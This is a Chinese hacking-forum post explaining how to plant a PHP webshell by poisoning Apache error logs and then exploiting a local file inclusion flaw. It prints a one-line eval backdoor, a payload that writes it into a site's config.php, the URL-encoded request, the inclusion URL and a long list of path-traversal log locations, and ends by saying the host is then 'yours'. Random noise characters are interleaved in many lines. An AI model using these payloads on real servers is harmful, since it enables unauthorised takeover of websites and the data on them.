找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1820|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 % e9 w. V$ P/ B9 r" Z
/ B4 c! }& l( p5 r
比如还是这句一句话木马 % k5 J; _) c# K8 k! J! f" I3 X
<?eval($_POST[cmd]);?>   # `7 h  ?) n, I( ?, X
4 {, [% N0 b2 g
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
4 c, k1 ^) E! \5 s+ G% L6 afopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 4 W1 l: _( O2 u4 l
  j' A* z( W; R1 z% t+ V$ k- @) }
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); * h' E4 o& f% N" E; I0 {/ W! n
fclose($fp);?>   //在config.php里写入一句木马语句 3 B/ s. L7 w% [! y! E& K

( W9 b+ z/ [3 L我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 1 C6 d1 [: n) E- h% R: c
转换为 9 i6 n1 U1 C9 ?
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
# F( _2 t5 N6 p, O. C4 ]config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
7 l; K/ c  |0 ~7 {+ y- E) v%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 6 t! A5 `% G- P8 b# B4 p( b
fclose%28%24fp%29%3B%3F%3E ; n1 g' e# t1 a* S" Y
我们提交 1 c5 h& @1 I; J, f1 l
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
( A) J% [, q1 p%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 8 S( p3 }# Q" R' Y/ d
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
2 A0 [" R1 ?4 o5 vcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
# p) f# e$ \* ]" R! E
& ~7 |/ x# A3 D/ u, K- S) C  N这样就错误日志里就记录下了这行写入webshell的代码。 9 l2 C: T! q) n7 z  u
我们再来包含日志,提交
) x4 @; @% h( k1 ~http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 1 x1 u/ a5 b/ m  v
( X, l& X+ b  u& O  D, l
这样webshell就写入成功了,config.php里就写入一句木马语句 2 w, A) g+ l# ?
OK.
7 [. F: k, M% G/ l+ Bhttp://www.xxx.com/forum/config.php这个就成了我们的webshell 6 J/ z5 A& b% ~4 s6 `
直接用lanker的客户端一连,主机就是你的了。 & R0 Q$ h; J6 C

4 g1 z5 E6 |7 D7 Y. SPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 $ s3 q! J$ b1 h& b; w: {1 i5 o

9 Y* K  c: o& M4 W7 p' d其他的日志路径,你可以去猜,也可以参照这里。
, t* ^7 C  P' S+ V../../../../../../../../../../var/log/httpd/access_log " e8 w2 t0 y( |6 n$ V  A8 \2 `
../../../../../../../../../../var/log/httpd/error_log 5 s7 K, x2 o3 H; ?  k! C! I7 W
../apache/logs/error.log ; @9 u0 S5 |5 t1 N2 S6 B3 g
../apache/logs/access.log 9 B- k+ d; K  I; H% ~2 q! R
../../apache/logs/error.log
0 N  |( z- g! `9 x1 g+ z: [../../apache/logs/access.log
7 J8 U: u, t4 e6 ?3 o3 ?; e2 W% W../../../apache/logs/error.log 8 R2 K1 y* |: i$ B4 D' l9 F# C* {
../../../apache/logs/access.log
5 Y( n. o% t) }/ E+ s../../../../../../../../../../etc/httpd/logs/acces_log : L2 D, f+ F1 D# C) D
../../../../../../../../../../etc/httpd/logs/acces.log
; t3 [/ o! Z6 _../../../../../../../../../../etc/httpd/logs/error_log
1 W/ z% Y5 B' |' {../../../../../../../../../../etc/httpd/logs/error.log - }$ U# b* v+ s7 Q. b- O- @" t5 N- C
../../../../../../../../../../var/www/logs/access_log : b) V/ C+ T: Z0 p8 b& l' c' \
../../../../../../../../../../var/www/logs/access.log
' g0 N  M, e0 H0 `* o  P../../../../../../../../../../usr/local/apache/logs/access_log & e% k. G: [; Y' l4 F$ I& k, j
../../../../../../../../../../usr/local/apache/logs/access.log
, D+ K+ E. T$ Y% z3 c../../../../../../../../../../var/log/apache/access_log ' |' |' d) m3 I4 A9 p
../../../../../../../../../../var/log/apache/access.log 8 v( J, U1 y% B: O2 @$ R. T6 s/ D+ \
../../../../../../../../../../var/log/access_log 1 V7 a9 J, q+ S, P: r
../../../../../../../../../../var/www/logs/error_log
! w3 d5 k1 c6 }3 |. W9 z, q) v, x../../../../../../../../../../var/www/logs/error.log 3 [- z7 }/ t; D6 U, Q' `
../../../../../../../../../../usr/local/apache/logs/error_log
( L7 f' l8 v1 W% x, [4 u/ @../../../../../../../../../../usr/local/apache/logs/error.log
- h2 G  D, @+ D/ f6 I. N+ L../../../../../../../../../../var/log/apache/error_log
0 w$ S" a" ~  r8 G3 y! V../../../../../../../../../../var/log/apache/error.log 2 H  F9 Q6 T- a
../../../../../../../../../../var/log/access_log
5 q% Z2 L) ~* L& N' L4 p& T6 y4 X& y../../../../../../../../../../var/log/error_log
* G" {& m+ w& d: R/var/log/httpd/access_log      
0 M0 V8 _4 N1 D$ j. t1 n. @/var/log/httpd/error_log     
3 q# W! n' g6 l) ?8 \/ G../apache/logs/error.log     " l) J# }8 w& s3 k& ?
../apache/logs/access.log
6 S) b3 C# G+ p../../apache/logs/error.log ; U8 P& Y+ @* V5 z
../../apache/logs/access.log 7 c: ]9 M" U9 j& D! V: B
../../../apache/logs/error.log
4 |2 E4 L9 P; H8 [  i../../../apache/logs/access.log 5 E3 y4 \" X" X  ]" B1 h( g
/etc/httpd/logs/acces_log
6 n) \0 Y6 e( [8 Z! P/etc/httpd/logs/acces.log
0 P) C. V4 Q2 H' `( ~/etc/httpd/logs/error_log # \! S6 ~; a0 u6 y
/etc/httpd/logs/error.log - H+ w, U" |+ n  [; D$ m! d3 L- o" f
/var/www/logs/access_log
% f: k6 ^( d' G5 D* U2 x; H/var/www/logs/access.log
* X3 j' _- [# s) t8 ?/usr/local/apache/logs/access_log # |) {. ?* j( X! S  J7 ^
/usr/local/apache/logs/access.log # S* F& m2 _3 k$ c
/var/log/apache/access_log
# B) {2 {6 d4 E* m/var/log/apache/access.log
# B1 y4 _  ?6 `, }/var/log/access_log
  t: H+ P; z1 g: h% v4 B/var/www/logs/error_log
2 R& g7 F5 _2 A* M" Y# I/var/www/logs/error.log # v2 @; @) \  y- K, M" w4 [9 ~1 ?7 B
/usr/local/apache/logs/error_log 4 c6 [- y! t' }2 ?: e
/usr/local/apache/logs/error.log
. x% Y. c: ]' m& f/var/log/apache/error_log
4 F; f+ M# N3 p: h, y& y  M/var/log/apache/error.log ) C  N* S$ |: T' w7 k2 ]
/var/log/access_log 8 W2 S) K" C1 n  F6 r* e0 a
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表